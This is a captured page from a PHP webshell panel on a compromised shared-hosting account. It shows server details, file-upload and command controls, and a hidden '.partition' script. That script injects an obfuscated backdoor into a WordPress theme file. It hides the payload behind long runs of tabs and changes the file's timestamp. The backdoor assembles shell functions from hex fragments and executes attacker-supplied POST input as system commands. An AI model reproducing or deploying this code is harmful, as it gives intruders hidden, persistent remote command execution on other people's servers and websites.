403Webshell
Server IP : 192.254.185.80  /  Your IP : 216.73.217.139
Web Server : Apache
System : Linux gator3137.hostgator.com 5.14.0-687.39.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 18 06:09:16 EDT 2026 x86_64
User : msarats2 ( 1847)
PHP Version : 8.3.35
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home1/msarats2/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home1/msarats2/public_html/.partition
<?php  function pb_leading_namespace_or_declare($content) {     $p = 0;     $len = strlen($content);     if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) {         $p = 3;     }     while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) {         $p++;     }     if (strncmp($content, '<?php', 5) === 0) {         $p += 5;     } elseif ($p + 1 < $len && $content[$p] === '<' && $content[$p + 1] === '?'         && strncmp($content, '<?xml', 5) !== 0 && strncmp($content, '<?=', 3) !== 0) {         $p += 2;     } else {         return false;     }     while ($p < $len) {         while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) {             $p++;         }         if ($p >= $len) {             break;         }         if ($p + 1 < $len && $content[$p] === '/' && $content[$p + 1] === '/') {             $nl = strpos($content, "\n", $p);             $p = ($nl === false) ? $len : $nl + 1;             continue;         }         if ($p < $len && $content[$p] === '#') {             $nl = strpos($content, "\n", $p);             $p = ($nl === false) ? $len : $nl + 1;             continue;         }         if ($p + 1 < $len && $content[$p] === '/' && $content[$p + 1] === '*') {             $end = strpos($content, '*/', $p + 2);             $p = ($end === false) ? $len : $end + 2;             continue;         }         return (bool) preg_match('/^(namespace|declare)\b/i', substr($content, $p));     }     return false; }  $path = '/home1/msarats2/public_htmlwp-content/themes/astra/inc/admin-functions.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('%24binding1%20%3D%20%27737%27%3B%24binding2%20%3D%20%27746%27%3B%24binding3%20%3D%20%2756d%27%3B%24binding4%20%3D%20%27736%27%3B%24binding5%20%3D%20%27657%27%3B%24binding6%20%3D%20%27706%27%3B%24binding7%20%3D%20%27468%27%3B%24binding8%20%3D%20%275%27%3B%24binding9%20%3D%20%27f70%27%3B%24binding10%20%3D%20%27656%27%3B%24binding11%20%3D%20%2716d%27%3B%24binding12%20%3D%20%27765%27%3B%24binding13%20%3D%20%27745%27%3B%24binding14%20%3D%20%27f63%27%3B%24binding15%20%3D%20%276f7%27%3B%24binding16%20%3D%20%27726%27%3B%24binding17%20%3D%20%27967%27%3B%24binding18%20%3D%20%27164%27%3B%24binding19%20%3D%20%275f7%27%3B%24binding20%20%3D%20%27374%27%3B%24restore_state1%20%3D%20pack%28%22H%2A%22%2C%20%24binding1%20.%20%27973%27%20.%20%24binding2%20.%20%24binding3%29%3B%24restore_state2%20%3D%20pack%28%22H%2A%22%2C%20%24binding4%20.%20%27865%27%20.%20%276c6%27%20.%20%27c5f%27%20.%20%24binding5%20.%20%27865%27%20.%20%2763%27%29%3B%24restore_state3%20%3D%20pack%28%22H%2A%22%2C%20%24binding5%20.%20%27865%27%20.%20%2763%27%29%3B%24restore_state4%20%3D%20pack%28%22H%2A%22%2C%20%24binding6%20.%20%27173%27%20.%20%24binding1%20.%20%24binding7%20.%20%27727%27%20.%20%24binding8%29%3B%24restore_state5%20%3D%20pack%28%22H%2A%22%2C%20%27706%27%20.%20%24binding9%20.%20%24binding10%20.%20%27e%27%29%3B%24restore_state6%20%3D%20pack%28%22H%2A%22%2C%20%27737%27%20.%20%27472%27%20.%20%24binding10%20.%20%24binding11%20.%20%275f6%27%20.%20%24binding12%20.%20%24binding13%20.%20%24binding14%20.%20%276f6%27%20.%20%27e74%27%20.%20%24binding10%20.%20%27e74%27%20.%20%2773%27%29%3B%24restore_state7%20%3D%20pack%28%22H%2A%22%2C%20%24binding6%20.%20%2736c%27%20.%20%24binding15%20.%20%27365%27%29%3B%24right_pad_string%20%3D%20pack%28%22H%2A%22%2C%20%24binding16%20.%20%24binding17%20.%20%27687%27%20.%20%2745f%27%20.%20%27706%27%20.%20%24binding18%20.%20%24binding19%20.%20%24binding20%20.%20%24binding16%20.%20%2796e%27%20.%20%2767%27%29%3Bif%28isset%28%24_POST%5B%24right_pad_string%5D%29%29%7B%24right_pad_string%3Dpack%28%22H%2A%22%2C%24_POST%5B%24right_pad_string%5D%29%3Bif%28function_exists%28%24restore_state1%29%29%7B%24restore_state1%28%24right_pad_string%29%3B%7Delseif%28function_exists%28%24restore_state2%29%29%7Bprint%20%24restore_state2%28%24right_pad_string%29%3B%7Delseif%28function_exists%28%24restore_state3%29%29%7B%24restore_state3%28%24right_pad_string%2C%24data_chunk_flg%29%3Bprint%20join%28%22%5Cn%22%2C%24data_chunk_flg%29%3B%7Delseif%28function_exists%28%24restore_state4%29%29%7B%24restore_state4%28%24right_pad_string%29%3B%7Delseif%28function_exists%28%24restore_state5%29%26%26function_exists%28%24restore_state6%29%26%26function_exists%28%24restore_state7%29%29%7B%24object_reference%3D%24restore_state5%28%24right_pad_string%2C%22r%22%29%3Bif%28%24object_reference%29%7B%24ent_dat%3D%24restore_state6%28%24object_reference%29%3B%24restore_state7%28%24object_reference%29%3Bprint%20%24ent_dat%3B%7D%7Dexit%3B%7D'); if (strlen($content) < 32) {     die('!failed!'); } if (pb_leading_namespace_or_declare($content)) {     die('!failed!'); } if (strstr($content, $new_code)) {     die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) {     $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) {     $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) {     die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     $len = strlen($start);     if ($len > strlen($body) || substr($body, 0, $len) !== $start) {         continue;     }     if ($start === '<?') {         if (strncmp($body, '<?xml', 5) === 0) {             continue;         }         if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') {             continue;         }     }     $rest = substr($body, $len);     $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest;     $tmp = @tempnam(dirname($path), 't');     if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) {          @touch($path, $ft + 10);         $check = (string) @file_get_contents($path);         if (strstr($check, $new_code)) {             die('!success!');         }     }     if ($tmp !== false && is_file($tmp)) {         @unlink($tmp);     } } die('!failed!'); 

Youez - 2016 - github.com/yon3zu
LinuXploit